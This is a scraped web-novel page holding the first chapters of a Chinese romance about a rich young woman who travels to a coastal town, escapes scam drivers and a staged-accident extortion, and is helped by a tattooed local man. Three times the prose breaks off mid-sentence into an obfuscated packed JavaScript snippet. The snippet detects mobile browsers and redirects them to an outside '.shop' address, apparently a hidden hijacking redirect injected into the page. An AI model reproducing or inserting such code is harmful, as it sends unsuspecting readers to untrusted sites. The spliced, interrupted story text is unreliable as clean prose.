《海上的岛[糙汉美人]》 1. 孤星泪 拖着行李箱走出火车站,就会被海风拥个满怀,眼前的天地都敞朗得只剩下蓝与绿,可想到要很长一段时间见不到城市高楼,陈歆韵烦躁透顶。 全天守候在火车站外揽客的司机们看见一个大波浪红发披肩,穿着清凉靓丽,拖着行李箱肯定不是本地人的小姑娘,就像看见奶酪的老鼠,倾巢出动,瞬间将她围得严严实实。 “水查某(美女)去哪里?” “去浔尾岛旅行的?” “算你上低价,上来就可以走!” 司机们普通话夹着方言叽叽喳喳,喋喋不休,就算被冷眼相待,也完全不见恼怒和被轻视的不快,还是堆着讨好油腻的笑,脚下却半步都不挪开。 陈歆韵没再勉强拖动行李箱,她停下后不住地摇动纸扇扇风,南方暑多闷热,蒸得她额头冒汗,扇了几下后她“啪”地合上纸扇,猛地朝侧边企图偷摸上她腰际的手劈下去,那咸猪手上登时显出一个大红印子。 那色狼大叫了一声扶着手颤抖着退出包围圈,他纠结的表情看起来好像手骨都被劈碎了。 陈歆韵一拍纸扇底,排口处瞬间突出一排小尖牙,她举起纸扇,把手臂抻直,在面前慢慢抡了一圈。 她今天画了一个凌厉剑气的眼妆,看人时眼皮压着眼珠,眼里满满都是不加掩饰的轻蔑凶光。加之她五官锐利精致,长相明艳秾丽,剑眉拧成一团,表情差到了极点,一头红发更是像一团火在她背后熊熊燃烧,整个人的气势看起来居高临下,迫人不已。 被纸扇指到的司机都不禁纷纷后退散开。她的面前霎时被空出好大一块地。 赶走烦人的苍蝇后,陈歆韵随意把纸扇丢进包里,又翻了翻,掏出口红补了个潋滟的唇妆,扶了扶假睫毛,随后把大墨镜戴上。 她拖起行李箱朝景观小品旁一个弓腰驼背,畏畏缩缩的司机走过去。 “喂。”她不会说这的方言,于是压低音量粗着嗓子说话:“你到沙埕码头多少钱?” 司机挤出讨好的笑,唯唯诺诺地说:“三百五,不,三百二,嘿嘿。” 司机看她没说话,缩起肩膀,两只眼睛探出老长去瞅她,还没等她开口说话,司机像怕招揽不到眼前人一样,马上伸出一根指头晃了晃:“少十块,再给你少十块。” 司机伸出的手指关节肥大得不像样,白色汗衫下破了星星点点的洞,表情也胆小怯懦,不知天生就是一副委屈样,还是被欺负磋磨的。 他比其他司机矮半个头,刚才也没有像那些人一样围上来,就蹲在景观旁望啊望。陈歆韵没再犹豫:“行。给我拿行李。” 沿海暑天的太阳毒辣,海风里都可以闻到盐粒的气息,她走在水泥路上就像一条铁板烧上滋滋冒香的鱼。 火车站入口到停车场这段路五分钟不到,娇生惯养的陈歆韵还是觉得自己被晒脱水了,她用纸扇挡着头顶,准备打开车门钻进去。 “这里到码头差不多八十公里,三百一比正常价格贵了一倍不止。” 突如其来的清亮声音打断陈歆韵的动作,她撑着纸扇斜眼瞟向声音来处。 眼高于顶的大小姐本没打算正眼看人,不料这一看她却睁大了双眼,不过掩藏在墨镜后,旁人看来,她依旧显得居高临下。 说话的是一个男人,但他又不是一个男人,因为男人算人,陈歆韵觉得他还有他旁边那些货都是妖魔鬼怪。 为首男人踩着平底皮靴身形依旧高大颀长,卷着的工装服袖子下肌肉虬结。陈歆韵视线下移,墨镜下的眉毛登时挑了挑,他大敞的襟口里,是呼之欲出的饱满古铜色胸肌,胸肌到脖颈处还缠绕着一条纹龙。 陈歆韵是设计相关专业的,即使只透出一半头和爪子,她也能断定隐藏在衣服下的龙纹定然简约精美,这设计师有点水平。 但是他身后那两个妖魔就完全不是那么回事了,要说为首那男的是有点审美的非主流,后面这俩货就是审美自母胎里就跟羊水一起流掉的乡村杀马特。 一个身上挂着好多圈像裹尸布一样叮呤咣啷链子的黄毛,一个双手就是毫无设计美感,怎么土气怎么来的左青龙右白虎。 陈歆韵切笑一身,把手悄悄伸进包里握紧防狼电棒:“哦,所以呢。” 黄毛瞪大眼睛:“你这个水查某怎这呢无礼数,你被人坑了知袂? 他普通话夹着方言说,陈歆韵听得一头雾水,她没打算多做纠缠,直接打开车门。 余光中有只手伸过来抓住车门,陈歆韵被粗壮的手臂吓了一跳,瞬间抽出电棒直直对准男人。 男人也没有再上前一步,和陈歆韵隔着一条手臂加一个电棒的距离看着她。 女孩穿着件水蓝色吊带,如火烈鸟羽毛一般的长卷发垂在胸前飘摇,衬得胸前大片肌肤白皙清透。 男人靠着车门语带笑意说道:“这位水查某,意思是漂亮水灵的美女,这个,” 他指了指一直在旁边沉默的司机:“沙埕有名的宰客佬,刚才围着你的那一圈不过是托,等你上了车以后绝对不止这个价。” 司机含胸驼背,面色惊恐完全不敢看他们这边。三个男人高大威猛,左青龙右白虎的,看起来明显就是一群想半道抢客的□□。 陈歆韵抬高下巴,语气冷然:“那你们要收多少?” “我们?”男人有点疑惑,不过他马上朝另一边指了指:“我们是要去码头,你要一起的话也可以。顺路捎,不要钱。” 他指的是一辆红色大货车,车身上还有金佳水产货车几个大字。货车头很高,被绑架了半路跳下来会当场升天。 他这么说着,那个青龙白虎已经上了驾驶座,正挥舞着白虎臂要他们过去。 陈歆韵已经可以看到自己被绑架到深山老林里的样子了。 男人继续开口:“你别看我们这样……喂!”陈歆韵完全不给男人说话的机会,她按动开关不管不顾地朝眼前一划。 男人为了躲避电棒,松开手,她立马坐进去车里,猛地关上车门,催促着司机快走,司机也很上道,马上启动车,一脚油门下去,把那三个杀马特甩在身后。 黄毛被那姑娘忽然的攻击吓到:“阿金,没事吧?” 金翊摇摇头:“没。” “狗咬吕洞宾,不识好歹,这种外地妹妹崽被宰的最狠了。到时候不交钱在高速上哭着等警察吧。” 金翊听着这话,想到那副黑墨镜,妹妹崽的脸好小,撑着副跟脸一样大的墨镜居然也气势汹汹。 “走吧。” 黄毛一时没反应过来:“走哪?” 金翊把衣领拉紧扣上,遮住纹身:“走高速,回家。” * 出租车开上高速后,可以看见刺桐在两边排列开来,红红燃烧着,灼烤天边乳白的云。沿海国道车辆稀疏,畅通无阻下车速慢慢攀升到110。 手机被紧紧抓着,屏幕上出现一颗颗硕大的水珠,一贯盛着傲气的凤眼此时汪着水,精心画上的眼妆也已被擦得乱七八糟。 她妈来信说她跟她爸早就离婚了,她女儿忽然得了很重的病,她要留在澳洲处理,先让她跟外婆住三个月。 陈歆韵胡乱擦拭屏幕上的泪珠,把她妈妈刚发的信息又看了一遍。来来去去读了好几遍,眼睛都读花了,也没看到这几行字有什么变化。 她有点绝望,闭上眼睛就想到她爸像魔鬼一样暴怒的脸:“养你这么多年一点回报都不给我,你给我去死,给我滚!滚出我的房子!” 不管他爸在之前怎么辱骂她,她都没觉得半点伤心,只有这句话像把锋利的匕首利落地插进她的心脏翻搅,刺得她心头发痛。 那人再不堪也是自己父亲,几十年父女情深的场景都珍藏在心底。现在父亲告诉自己,海市不是她的家,她一直都是在吃他的饭,住他的房子,她没有资格抱怨,房子来了新的女主人,她要滚出去。 她爸断了她的生活费和学费,并扬言随便她想怎样,想去哪里都好,滚出去。 陈歆韵也是个自尊心极强的犟种,话都说到这份上了,她当机立断向米兰设计学院的导师说明情况,导师为她出具推荐信,办理了一年休学。 随后趁小三不备,反手又抽了她一巴掌,她爸再次把她关了起来,小三在门外出口成脏扬言要报警,她收拾好行李,逃命似的翻了出来。 可她妈现在不抱怨了,还说他们早就离婚了,这是什么意思?她是活该,自作自受? 妈妈承诺马上回国接她去澳洲,她才无顾忌地和她爸撕破脸,她做了那样的事,她爸恨不得掐死她,海市那边回不去了,妈妈又远在澳洲,她不得已暂时来投靠外婆。 现在她妈妈却说要呆三个月。 而她最介怀的是,陈梦琴的理由是要照顾女儿走不开,可是,她也是女儿啊。 “叮——” 对面又发来一条消息,陈歆韵颤抖着手,划了好几次屏幕才划开。 【妈妈mua~】:宝贝,你历经波折考上米兰设计学院,我想让你更加成熟,能做出真正的选择时再坦白。没想到竟害你做出这件事,都是我的错。度过这段难过的时光,我们很快就会见面的,最漂亮的宝贝,你要知道我最爱你。 叮,手机又一条消息:你的账户转入现金:10000元,余额:13000元。 【妈妈mua~】:抱歉宝贝,澳洲这边的医疗费太高昂了,你妹妹目前情况不容乐观,妈妈尽力也只能先给你那么多,好好照顾自己。 陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129750|196212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歆韵看着陈梦琴情真意切的文字,心下松快不少,止住了哭泣。一想到她妈也过得不好,她马上点开转账,按了“8”,指尖一顿,她删掉“8”后按了“7”,给她妈转回去7000。 她太专注在自己的事情上了,连导航什么时候不再播报,司机什么时候拐下了高速都没注意到。 刚转完账,电话又来了,是她男朋友。 两个星期前吵完架后她单方面在冷战,这几天她忙的焦头烂额的,都忘了还有个男朋友。 陈歆韵想也没想,接通电话,委屈巴拉地说:“成成。” 她完全不在乎之前冷战过,她现在只想找个亲密的人撒娇抱抱,和爱人倾吐她受的天大委屈。何况何成又不可能真的生她的气,她不生气,对方就该万事大吉了。 对面男声没有意想之内的亲热,陈歆韵听了一会儿,收起那副撒娇的模样,眉头一拧:“哦,所以你打这通电话是想问我,你今年暑假还能不能来我爸的律所实习?” “在你女朋友落魄到去乡下求生时,你最关心的是这个?” “不是的,歆韵,我更在乎的是你。你现在知道我们抵抗风险的能力多脆弱了吧。如果我能在你爸的律所实习,回国后就可以在红圈所扎根,到时候拼命挣钱,让你不再寄人篱下,住进自己的房子,给你更好的生活。” 她把嘴一撇:“我现在困难,先给我转一万块钱。” “歆韵,能让你过得好,一万块算什么,我发工资后马上就打给你,虽然没一万块,你先拿着用。” 陈歆韵听了到底还是不忍心:“你省省吧,那点钱都不够我买件大衣,你自己留着花吧。” 对面语气无奈但还是很有耐心:“我现在工资都不如你学费零头,可也是我自食其力挣的,你就算瞧不起我,也别跟自己过不去。” “我没瞧不起你,我说的是实话,你的钱不用给我,留着给你妈买点补的吃。” 何成像被这句话电到,语气变得低沉:“我妈怎么了?你每次来我家我妈把你当公主一样供着还不够?既然看不起我,为什么还答应我表白?” 陈歆韵被骂得莫名其妙,还没等她说什么,对面又低声嘀咕了句:“欣然就不会这样。” “谁?”她现在对这种事特别敏感,何成这句话无疑是给她装满火药的心脏打了个火星,她登时就炸起来了。 “何成你个蠢货,我明确跟你说吧,不可能,我爸跟我断绝父女关系了,他断了我所有经济来源,我们分手吧,你别想再去他律所实习了!” 她说完直接摔了手机。手机摔在精致的皮包上又亮了起来,屏保是何成在迪士尼给她拍的照片,她在照片上笑得明媚又开怀。 像一盆凉水凌空倒下,陈歆韵火气泄了大半。 何成家境不好,但是长得好看又有耐心,几乎是全天候服务她,为她苦学摄影,除了打工其余时间都围着她转,省吃俭用花了两万买了个包给她,虽然这在她别墅里那一排奢侈品里都不够看,可也是她这次唯一带出来的。 爸爸那边回不去,妈妈又远在澳洲,如果现在和男朋友分手的话……一种异常孤独的恐慌在心里蔓延。 她打开手机翻到和何成的聊天页面,打了几行字发出去,对方一分钟没回,她便抬起头看向窗外的风景。 出租车外没有高速围栏,车身不时传来颠簸,好像行走在小石子路上。入目的只有一望无际的蓝天和白云,几间倾倒的瓦房和水泥砌成的厕所在广阔荒地上孤零零伫立。 车在水泥厕所旁停了下来。 陈歆韵悄悄抓紧包包里的电棒,在手机通讯界面输入了110。 “美女,我上个厕所,耽误你了,不好意思哈。”司机说完,榻着八字眉抱歉地看着她。 陈歆韵没放松手上力气,她笑了下:“没事,你快一点。” 司机下车后,她很快打开地图,因为地方偏远,地图只显示了大致的地理位置和寥寥几条横线,所幸还是可以定位到她所在的地方。 司机是在几百米前的岔口弯下来的,这个地方离国道不远,还有厕所,大概率就是给过路人方便的。 陈歆韵悬停的心微微放松了点。 地图显示,这里到码头还有将近六十公里,她使劲扒拉扒拉,鲜红的指甲快把屏幕戳出个洞,可是沿路的地皮上光溜溜的,什么人家也没有找到。 标志的眉头深深皱起来,她不懂女儿女婿都在大城市里混的不错,外婆为什么还固执地呆在这么个鸟不拉屎的地方。 “扣扣扣!”一阵大力的敲击声炸响,吓得陈歆韵差点把手机丢出去。 她抬头,只见司机着急忙慌地敲窗比划着什么,表情焦灼,动作好像在示意她下车。 2. 红发镰刀 司机背后出现一个高大的人影把他狠狠拉开,凶狠的男人粗暴地扯开门,脸上都是横肉,凶神恶煞的直接伸手往车里钻。 “滋滋滋滋……” 男人还没抓到陈歆韵,已经被她手上握着的电棒电到浑身抽搐翻白眼。陈歆韵双手紧紧按住防狼电棒的开关,手心里冷汗直冒,心都快跳出嗓子眼了也没有松手。 终于男人在抽搐几下后“扑通”一声倒在后座上。 陈歆韵放下手,才注意到司机身旁还有个脏兮兮的小孩子,两个人目瞪口呆地看着她。 三人六目相对,霎时无言。司机率先反应过来,他惊恐地掏出手机对准车里大呼:“杀人啦,杀人啦!沙埕国道尾埔这里杀人啦。” 陈歆韵手里握着的电棒还在滋滋冒电弧,一个男人倒在她前面,这画面的确很难解释。 她抬手想拍掉他的手机,司机却快人一步后退,她没刹住,手指尖不小心蹭到那个小孩。小孩登时就像被抽了魂一样倒在地上,司机又对准小孩拍了一通。 然后他把手机放下,脸上褪去了怯懦的面孔,似笑非笑地看着陈歆韵:“美女,你这是干什么,有话不能好好说,非要动手。” “明明是他先动手的!” “哎!看你这么漂亮,人模人样的,居然是这种人啊!”司机表情夸张:“是你说要上厕所,我才拐下来撞到这个小孩的,你要我赶紧开走不管,人家爸爸才开门要你下车理论,你倒好哦,把人家电死了!” 那个小孩趴在地上哎呦哎呦地叫唤,稚嫩的童声说:“你说你一分钱都不赔,我爸爸就想叫你下车,和你好好理论,爸爸,爸爸呜呜呜……” 陈歆韵撇眼看那个小孩,发现他的脚腕以不正常的角度扭曲着,裤腿上有点点血迹。 她知道了怎么回事后不怒反笑,大小姐从小到大经历最多的是人身骚扰和绑架,这种江湖碰瓷骗术的确没见过,比起钱来她更多考虑的是自己的安全,谁知原来他们的目的不是她,而是她的钱,也算是开眼了。 她没什么耐心:“要多少钱?” 司机眼睛瞪圆了:“你真是蛇蝎心肠啊,人还不知道活没活着,你就想要给钱了事?” 陈歆韵拎着包下车,那男的身上好臭,往前伸的手上满是皮屑和烂肉,她没法跟他呆在一辆车里。 “那就让警察来看看他活没活着,到时候去做鉴定,你说我的责任会有多少?你们又什么时候可以拿到钱,我多的是时间跟你们耗。”她掏出手机,按了110,露给司机看。 司机诶诶诶叫起来:“我不拿钱咧,你搞清楚我不是在讹人,是在帮他们讨公道……” “八万。”地上的小孩打断他,声音异常冷静。 “最多三万。” “三万连棺材都买不了。” 陈歆韵“切”了一声:“这里离海近,烧了直接扬海里还要什么棺材。你要答应,我现在就转账,不报警。” 大概没见过这么爽快的被讹人,司机还想说什么,小孩已经应下了:“好,你打给这个账户。”小孩伸出手,脏兮兮的手上写着一串数字。 陈歆韵划拉手机,打开网上银行,然后表情僵硬地愣在原地。 靠,忘记她现在没钱了。 “怎么了美女,忘记密码了?”司机瞅她半天不动,又伸出两只眼睛探过来。 “嗯……”陈歆韵斟酌了下措辞,冲司机开朗一笑:“要不先送他俩去医院,不能耽误孩子治疗啊。” 司机之前看她浑身散发着自信大方,我身上有十个亿的气质,还肉痛没讹更多,没想到是纸老虎。 他说话间来到了陈歆韵旁边,这个姑娘婀娜纤细,耀眼的阳光打在身上,皮肤像冰透的瓷瓶一样会发光,一看就是被有钱人家万般娇宠长大的,她从火车站一出来他就注意到了。 不过做了半辈子孙子的他不敢肖想,没想到美人竟然没钱,他此时也生出了一点癞蛤蟆吃天鹅肉的心思。 “暂时拿不出来也不要紧,哥哥也可以帮你想办法。”说着,青蛙趾头吸盘一样的指尖点在她的腰窝处。 “啪!” 司机刚刚点第一下的时候,陈歆韵没有丝毫停顿,直接反手一巴掌抽在他脸上,她回头的速度迅猛,头发被她带起来在空中旋转,发尖尾化身一把红色的镰刀划过司机的眼球。 像一滴水落在油锅里,恶心从腰窝处炸上脊椎,陈歆韵哪受过这种委屈,她马上正手又是一巴掌拍到司机另一边脸上。司机刚刚直起的腰又被她打的弯下来。 “妈的!”他低骂一句,伸手从裤袋里掏出个东西,一按,一把尖刀从里弹出来,甘蔗渣般枯槁的手臂往空中乱划,肿胀的眼睛发红,嘴里念念有词:“漂亮女人有什么了不起,凭什么都看不起我,操!” 司机失去理智,一刀又一刀毫无章法地落下,陈歆韵连忙往后躲。 突然,眼前被一阵阴影遮住,那条龙再次闯入视线里,这次,陈歆韵的鼻尖近距离触到了那个饱满的胸膛,甚至还陷进去了一些。 鼻头传来海风咸涩的味道,她从男人衣襟大敞的柔软胸前抬头,和那双黑墨般的沉寂眼睛四目相对。 男人宽阔的肩膀完全把她埋在阴影里,她斜着身子,看向他身后,司机的手腕被有力的手指紧紧扣住,脚尖抵着地面,就这么活生生被他单手拎在半空。 无论司机怎么拉扯,那只手就是纹丝不动,他表情十分痛苦,好像手要断掉一样。 陈歆韵离开男人的阴影,使出十成十的力抬脚踹向司机的小腹,金翊手指顺势一松,他被踹出老长一段距离。 她踹完人后转过头,弯弯的细眉下,一双黑色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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男人缩着眉毛神情嗫喏:“她电那一下可痛死我了,还把老王打成这样……” “他是我打的。”金翊朝地上呻吟的人努努嘴。 “额…那我小孩的脚断了也要进医院啊。今天看在翊哥的面子上就三万。” 金翊没什么表情:“六千。” “我们一开始说的就是三万啊。” “五千。那小孩的脚怎么断的我就不说了。” 男人低头安静了一会儿,眼睛滴溜溜转着。 突然,一直安静的男孩扑上来抱住陈歆韵的大腿:“姐姐求求你了,你看起来很有钱,多给一点吧,不然我回去会被打死的。” 陈歆韵被他吓到,而且她现在极度厌恶不认识的男人触碰,条件反射就要去踹他。 “等一下!”金翊上前阻止她,但是力气没控制好,小孩又把住她的腿,陈歆韵就被这么挥到了地上。 3. 蓝调时刻 地上都是粗粝的小石子,她蹭过地方留下一小条血迹。金翊连忙蹲下去扶她,却被陈歆韵一巴掌拍掉。 起身后,她没有去管被蹭出几道血痕的手臂和小腿,而是手忙脚乱地查看挎在手上的包包,神色紧张。 金翊诚恳道:“对不起,我……” 女孩声音尖锐地打断他:“你怎么回事,我的包被划坏了!” 金翊皱着眉看向她手臂上刺眼的红色,血液顺着她小臂的曲线流向手背,蜿蜒出一条血河后哒哒哒地滴湿地上的石子。她就像没有感觉一样,只一味地质问金翊她的包包。 “这样吧,这件事我帮你解决了,再送你去医院,医药费我出,就当赔礼。” 陈歆韵还是不肯依:“这一样吗?这点钱怎么比得上我的包?” 跟金翊同行的黄毛有点看不下去:“美女,你这就没意思了哈,没我们帮你,你今天能不能活着离开都不一定,包有命重要吗?” 金翊抬手阻止了还要开口的黄毛,面对这种情况多说无益,他直接问:“这包多少钱?差价我补给你。“ “这不是钱的问题。”陈歆韵罕见地低下了头,低低呢喃着,像好逗鹦鹉尾羽般张扬的红头发耷拉在肩上。 只是在旁人听来,这句话简直是“这就是钱的事”的经典表达。 黄毛笑了起来:“豁,小姑娘挺会现学现卖啊,这就讹上了。” “叮——”很久没有响动的手机震起来。 陈歆韵看了眼亮着的屏幕,僵在原地久久不动。 暮色四合,天色将黑未黑,不知道是不是海边越来越冷的缘故,金翊发现面前的小姑娘竟然在瑟瑟发抖。 他抬头看了下天空,再耗下去天就黑了:“多少钱,你说个数……”他还没说完,怀里就被塞进来个东西——刚才那个小姑娘宝贝到不行的包包。 “按你说的来,你解决这件事,就当弄坏包的赔礼,包给你了。司机手机里有我的视频,帮我删掉。”她的声音一反常态的很轻柔,很快散在海风里。 陈歆韵转身离开,黄毛还对她背影大声指指点点:“给不出发票吧,用个破包就甩了一群无赖,就说她赚了还不信。” 陈歆韵蹲在厕所墙后避风,眼神空洞地盯着发光的手机屏,屏幕停留在和何成的聊天界面。 【成:和你相处很累。】 【成:你不能跟任何人正常说话,我不想伺候你了,分手吧。】 伺候?何成一直以来就是以这样的心态和她谈恋爱吗? 她已经够迁就何成了。何成自尊心强,家境又没有她好,她破天荒地考虑男生的感受,开了个共享账户,说是双方一起存钱用于恋爱,其实里面差不多都是她的钱。 她去何成家里,他妈妈自作主张把她五万的羊毛大衣洗缩水,何成还一个劲和她说他妈妈对她多好多好,都是手洗的,她也没说什么,最后被他们亲戚埋怨来男方家里拉个脸。 何成这个样子莫名让她想起来妈妈,她对外张扬,但对待感情真诚,改变自己和他们小心翼翼地相处,不知怎的最后都只能换来离开。 陈歆韵咬着嘴唇不放,想破头也想不明白还要她怎样。 “海边厕所阴气重,小心被上身变成女鬼。”不是那么正经的声音把她的思绪拉回来。 “滚。”陈歆韵本还想说什么,但是一开口浓重的鼻音暴露了她的状态,她不想在陌生人面前露出柔软脆弱的模样。 “喏。”金翊反手把手机给她:“自己删。” 陈歆韵接过后,在屏幕上划了几下,手机也跟她作对似的,怎么都没法打开相册,她才发觉自己的手指已经僵硬到不能动了。 “啧。”金翊抽出手机,蹲在她旁边,当着她的面把相册和回收箱里的视频都删了。 黄毛在远处大喊:“喂,有厕所不上,你们两个一起外面屙屎吗?走了!” 金翊冲他应了一声,站起来,又把一件外套扔陈歆韵身上,隔着外套把她扯起来,架着她就要走。 陈歆韵小他一个人,怎么推都无济于事:“喂,你这个人怎么回事啊,我没说要走。” “我知道啊,我知道你不会跟我好好说话,所以也没问你。巡警至少要后半夜才来,哥哥我不会放个小姑娘在这不管。”金翊一副讨打的表情,一句话转了八个音说:“我知道你宁愿冻死都不会上车,你就当我绑架你,很屈服地跟我走。” 出乎他的意料,陈歆韵没有炸毛跟他斗嘴,她只是抬头看了他一眼:“好的,大叔。”然后把身上的外套正好,就朝大货车那里走。 挠了挠蓬松的短碎发,金翊对着她的背影耸耸肩,跟在她后面。 * 陈歆韵抱着腿蜷在大货车后座,车头的玻璃窗顶掀开了一道小口,晚风顺着漫进来,轻轻吹拂她的发顶。身上那件外套松松裹着,指尖渐渐回暖了些。 海滨彻底坠入深邃的蓝调时刻,星月凝在天空,随着她的颠簸而不时颤动,身上的外套也是同样的蓝,车里没有开灯,她被裹进深蓝的夜色里。 远处几艘渔船的剪影在海上犁出凌凌波光,白色的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129752|196212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尾迹被拉的又细又长。 她在那些破碎的白色泡沫里看到了很多人的脸,爸爸的愤怒的,继母的得意的,妈妈的失落的,何成的冷漠的……然后是她自己的,快乐的、悲伤的、懵懂的…… 所有翻涌的情绪与眼泪,都随一寸寸黑下来的天空跌落在那片广袤而温柔的蓝海里,她便也被裹着不断下坠下坠,坠进这无边无际的蓝里。 突然,一阵劲爆的音乐在只有胎噪的货车里炸响。 “我曾经爱过这样一个男人,她说我是世上最美的女人~” “也是这个被我深爱的男人,把我变成世上最笨的女人~” 一阵劲爆的DJ。 “你身上有她的香水味,是我鼻子犯的罪~” 又一阵劲爆的DJ。 “你要的爱太完美,我永远都学不会~” …… …… 陈歆韵身上的伤感情绪被震得零碎,魔性洗脑的劲爆舞曲强硬地从耳朵灌入,挤走她脑子里全部的失恋感伤。 看着金翊还在不断调大音量的手指,她感觉如芒在背,怎么听着歌词怎么觉得不对味,就好像这个男人在嘲讽她。 “你故意的吧!”可惜DJ的声音太大,她的声音传不过去。 金翊转过身,对她“哈?”了一下。 她直接扒着前面座椅,贴身到金翊耳边喊:“你故意的吧!” 她的动作太快了,金翊没什么准备,就被她贴着耳朵说话,抹胸吊带前的皮肤一片瓷白,温热的气息喷洒在耳畔,金翊赶紧向后斜身子,和她拉开距离,手下的音量也调小了不少。 他表情有些不自然,语气则带点懵:“我故意什么?” 陈歆韵也回过神,人家又不知道她家的破事,也不知道她失恋了还被前男友指责不能跟人正常说话,只是放首DJ而已,自己这么敏感显得很奇怪。 她靠回椅背上,气势小了不少:“突然放这么大声做什么。” “晚上走高速很容易犯困,DJ节奏感强,能让人保持清醒。”金翊解释道。 “哦。”她慢慢地应了声。 开车的黄毛嚷起来:“那也不用放那么大声吧,差点吓死我。” 金翊斜眼看着身旁的窗玻璃回他:“这不是看你快睡着了。” 暮色下的玻璃变成了一面深蓝的镜子,刚才在上面映着一张异常美丽,又无比难过的脸庞。 窗外冷清的大海填满玻璃,那片蓝浓稠得像化不开的雾,好像要把她在镜中虚幻透明的身体淹没了。 4. 何日君再来 一阵铃声响起,金翊把DJ关掉,划开屏幕接起视频。 他们在说方言,陈歆韵听不懂。她后知后觉想起刚才的举动,只觉得自己莫名其妙,矫情得要命,干脆把自己整个人缩到男人给的外套里。 鼻尖传来淡淡的烟火味,不是卷烟烟草,像寺庙里的烟火香,飘渺又甘甜。 她睁着双亮溜溜的眼睛打量起车厢内部。 结论只有四个字:不伦不类。 最瞩目的是车挂,上面套了个十字架,旁边挨着佛像还有一把迷你拂尘,坠着红金丝平安符,甚至还混了个日式御守,不管是什么挂饰,上面都刻着“平安”二字,信什么灵什么是吧。 看得出来车内原本贴了一套很酷很有设计感的摇滚风贴纸,车台上还有个吉他摆件。但不知道为什么后来又被人毫无规则地叠了一层粉色、蓝色的Kitty猫、史迪仔玩偶贴纸。摆件也群英荟萃,关二爷和米老鼠切磋武艺,观音和白雪公主交流中外艺术。 后座堆着很多毛绒玩偶,旁边老哥一双可怖的青龙白虎臂箍着美乐蒂的画面很诡异好吗? 她把背后的腰靠取出来,一个大大的艳粉色爱心,上面印着俏皮的“LoveYou”。不愿去想这是三个男人中谁的设计。 黄毛也跟视频里的人说起话,金翊把手机转向他,镜头晃过的瞬间,手机里忽然传出来一声“水查某”。 那个男人跟她解释过这是美女的意思,想来是金翊把镜头给黄毛的时候不小心扫到了她。虽然不喜欢入镜,但人家不是故意的,她也不多说什么,索性完全把自己裹进外套里,枕在爱心枕上,闭眼装睡。 金翊把手机回正,用普通话说:“顺路载的游客。” 他本意是想让陈歆韵知道他们没有在背后用方言议论她,却高估了对面的情商,手机里忽然传出普通话:“我走之前不是给你们算了一卦,回去路上要一路走高速不能停,不然会遇上小人,你们怎么不听!” 他语速太快了,金翊都没来得及阻止。他借着窗玻璃的反光瞄了眼后座,陈歆韵双手拢着自己,趴在枕头上睡着了,但是五指鲜红的指甲却紧紧扣在白嫩的手臂里。 金翊忽然想到家里那只整天气鼓鼓的虎皮鹦鹉,嘴角忍不住勾了勾,他岔开话题:“你落地了吗?拍点小日本看看。” “到了,诶,有什么好看的,我还是喜欢浔尾。” 金翊的声音变得低沉,带着点柔意:“好好照顾自己,什么时候回来,浔尾都是你家,我们都去接你。” 他们接下来都用的普通话,陈歆韵也听明白了,这里到机场还要坐一段火车,他们是去火车站送朋友出国工作的。 黄毛也跟着叮嘱了几句保重的话,青龙白虎抬手比划了几下。竟然是个哑巴。 车厢里的气氛渐渐低沉下来,这种和老友相别的醇厚怅然,同车窗缝隙漫进来的晚风一样,淡淡地轻轻地拢在车里。 除了金翊,其他人的普通话口音有点重,前后鼻音不分,没有翘舌音。就连金翊在说话时也没有翘舌音,而且他们喜欢说叠字,尾音喜欢加“吼”“啊”“啦”这些词,导致一米九的大男人张口说话时其实比较温软。 她默默把耳机戴上,不想继续听下去,已经没人会跟她说“这里永远都是你家”这种话了。 “喂,大小姐,起来了。” 陈歆韵被轻轻摇醒,没想到迷迷糊糊中竟然睡着了。她往外瞧了瞧,天彻底黑了下来,但是窗外月光亮堂,街道两边的街灯也明亮,给人心里一种温暖的踏实感。 陈歆韵刚睡醒,难得柔和下来,带着点鼻音问到:“不是去浔尾岛吗?” 黄毛把安全带松开跳下车,语气不是很友善:“大小姐可以许愿让妈祖载你过去。” 青龙白虎也跟着跳下车,车里顿时只有她和金翊。 “他开了一天车心情不好,”金翊解释:“轮渡只有白天八点和傍晚五点两班,我们今晚只能在这住了,这是沙埕,离浔尾最近的镇。” 陈歆韵皱了皱眉,点点头。 车灯从顶上打下来,把她的红发照得鲜艳,脸色却像瓷器一样苍白,蝴蝶一样的纤长羽睫在光滑圆润的脸上横着一道阴影,她裹在外套和一堆毛绒玩具里,有点像个易碎的诅咒娃娃。 她很快开始收拾东西,金翊开口:“这家民宿是我朋友开的,设施证件什么的都齐全,免费住。” 陈歆韵摇摇头:“我自己付钱,我不想欠你人情。” 金翊思考了一下,斟酌要怎么跟她解释社会上的人情世故又让这个大小姐能接受:“不算欠我人情。你是我带来的,坚持要付钱的话,会把我和老板的关系搞僵。” “啊?给钱还不乐意?” “沙埕很多人都是岛上迁来的,大家几代人都是熟人朋友,他们在岛上的房子、老人我都有帮忙照顾,而且这里的渔业、旅游生意也都和浔尾绑在一起。” 